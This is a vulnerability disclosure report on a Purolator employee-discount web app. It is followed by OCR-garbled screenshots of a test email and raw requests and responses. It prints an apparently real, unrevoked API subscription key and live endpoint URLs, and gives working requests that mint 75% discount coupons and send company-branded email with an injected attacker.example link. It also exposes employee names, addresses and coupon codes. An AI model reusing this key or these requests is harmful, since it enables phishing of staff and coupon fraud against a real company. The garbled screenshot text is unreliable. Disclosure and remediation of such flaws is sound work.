Employee Discount SPA — Combined Technical Exploit Note
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Context
All evidence comes from the public, compiled JS bundle loaded by the app (/assets/index-*.js, captured via DevTools → Sources) and from live HTTP requests executed during testing. No source repositories or credentials were used.
Summary (what’s broken)
• Leaked secret in client bundle: The SPA ships an Azure APIM subscription key and uses it from the browser for backend calls.
• Unauthenticated email sending: With only that key, anyone can call POST /simba/api/SendEmail and send a Purolator‑branded email. The name field is injected into the HTML body (link injection confirmed). Login is not required.
• Arbitrary coupon minting: With the same key, POST /simba/api/leads creates/returns a coupon for any corporate email, which then satisfies the server’s email↔code check in SendEmail. No login required.
• Secondary observation: Okta SDK is present; ensure tokens are not stored in localStorage and CSP is strict to reduce XSS risk. (Not needed to exploit the issues above.)
Impact
Critical: reliable, organization‑wide phishing from notificationsservice@purolator.com with attacker‑controlled HTML in the email body, plus ability to mint a valid coupon for any employee to pass server checks. No user session or Okta token is required; possession of the leaked APIM key is sufficient.
Exposed Secret (hardcoded)
Ocp-Apim-Subscription-Key: 8fa86b2628a04081b5e1d6539341c0e2
Evidence from the shipped bundle
Hardcoded APIM client (base URL + key) and SendEmail call: axios instance pointed to https://pdl-apim-canc-unique.azure-api.net/simba/api with Ocp-Apim-Subscription-Key embedded; j4 posts to /SendEmail.
Leads call (coupon minting) used by the UI: posts to /leads with campaignId "EMPLOYEEDISCOUNT" and target email.
OIDC/Okta is present but not enforced for these endpoints; they rely solely on the APIM key.
Minimal PoC (no login required)
1) Mint coupon for any employee
POST https://pdl-apim-canc-unique.azure-api.net/simba/api/leads
Ocp-Apim-Subscription-Key: 8fa86b2628a04081b5e1d6539341c0e2
Content-Type: application/json

[
  {
    "email": "victim@purolator.com",
    "campaignId": "EMPLOYEEDISCOUNT",
    "firstName": "X",
    "lastName": "Y",
    "companyName": "Purolator"
  }
]
# → 201 Created with JSON containing coupon.code
2) Send branded email with injected HTML
POST https://pdl-apim-canc-unique.azure-api.net/simba/api/SendEmail
Ocp-Apim-Subscription-Key: 8fa86b2628a04081b5e1d6539341c0e2
Content-Type: application/json

{
  "email": "victim@purolator.com",
  "name": "Hello <a href=\"https://attacker.example/track\">Click here</a>",
  "code": "<coupon_from_step_1>"
}
# → 200 OK; email delivered; injected link renders in body
Root causes
• Secret in client bundle: static APIM subscription key embedded in public JS.
• Direct browser→APIM design: email and lead endpoints are called directly from the browser; no server-side auth/authorization.
• HTML not sanitized in templates: name flows into the rendered email body.
Immediate actions
1) Revoke & rotate the exposed APIM subscription key(s) now. Key is public in the bundle.
2) Temporarily disable or IP‑restrict POST /simba/api/SendEmail and POST /simba/api/leads until a proper fix ships.
3) Rebuild the SPA without any secrets; purge CDN caches.
Remediation (engineering)
• Move both endpoints behind your backend: SPA → backend (session/JWT required) → APIM. Enforce: user can only email their own verified address; disallow arbitrary recipient selection.
• Sanitize/encode all template variables used in outbound emails; disallow raw HTML in name/code. Strip CRLF to prevent header injection.
• Lock down APIM: no static keys in browsers. Prefer Managed Identity / client‑credentials, mTLS, and backend IP allow‑lists.
• Abuse controls: per‑user & global rate limits; anomaly alerts; detailed logging (recipient, template, payload hash).
• Defense‑in‑depth: strong CSP for the SPA; avoid localStorage for tokens; if Okta tokens must be in the browser, minimize scope/lifetime and harden against XSS.
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[EXTERNAL] Savings Delivered - Here's your employee discount code / Des économies livrées - Voici votre code de réduction pour les employés

@ Summary by Copilot X

© © Rely © Repyall > Foward | D

N notificationservice@purolator.com
To: Johal, Jasraj Thu 20251009 11:57 P11

e e — T e

Hello Click hereClick hereClick hereClick hereClick hereClick hereClick hereClick
hereClick hereClick hereClick hereClick hereClick hereClick hereClick hereClick hereClick
hereClick hereClick hereClick hereClick here,

Here's your Employee Discount
To Save 75% off your shipment, use Employee Discount Code 1D9435DBESDI6C78
on the E-Ship Now platform and drop your package at any Purolator drop offlocation.

Need assistance or support?
Reach out to customer support at business support@purolator com or call 1-888-228-
7223,

Thank you and have a great dayl
Team Purolator
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"status”: "success”,
"message”:"Request processed successfully.”
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POST /simba/api/leads HTTP/1.1
Host: pdl-apim-canc-unique.azure-api.net

Content-Length: 124

Ocp-Apin-Subscription-Key: B£a@eb2628aD4081b5e1d6539341c0=2
Accept: application/json, text/plainm, */*
Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64
Gecko) Chrome/130.0.0.0 Safari/s37.36
Access-Control-Allov-Headers: *

Origin: https://employee-discount.purolab.net
Comnection: keep-alive

ApplelebKit/537.38
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"email: "keshava. iyengar@purolator .con”,

"campaignld”: "EHPLOYEED ISCOUNT”,
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"lastiame": "Iyengar”,

"companyName" : "Purolator”

(RETHL,

Like

Response

Prefty  Raw  Hex  Render
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"idn:"le6d145e-d705-42££-9alh-bafecc5E5a0",
"email: "keshava. iyengar@purolator .com”,
"Eirstlianen: "Jasrai”,

"lastiame": "Johal”,
"phonelumber”: ™",
“companyName" : "Purolator”,
"oreatedAt”: "2025-09-29T14:03:44.9908582"
"customerTdn: Y,
eoupon: (
"code: "4F10713C24C25AB0",
"leadId": "1=9d145e-d705-42 6£-Salb-bafecc5E5a0",
"campaignla”: "EHPLOYEED ISCOUNT”,
"usageRules”: "ALLOVEXPIRED" ,
"ereatedAt”: "2025-10-10T04: 1311236004427,
"expiresAtr:"2025-10-13",

"discountRate":75.0000,
"discountTyper: "s"
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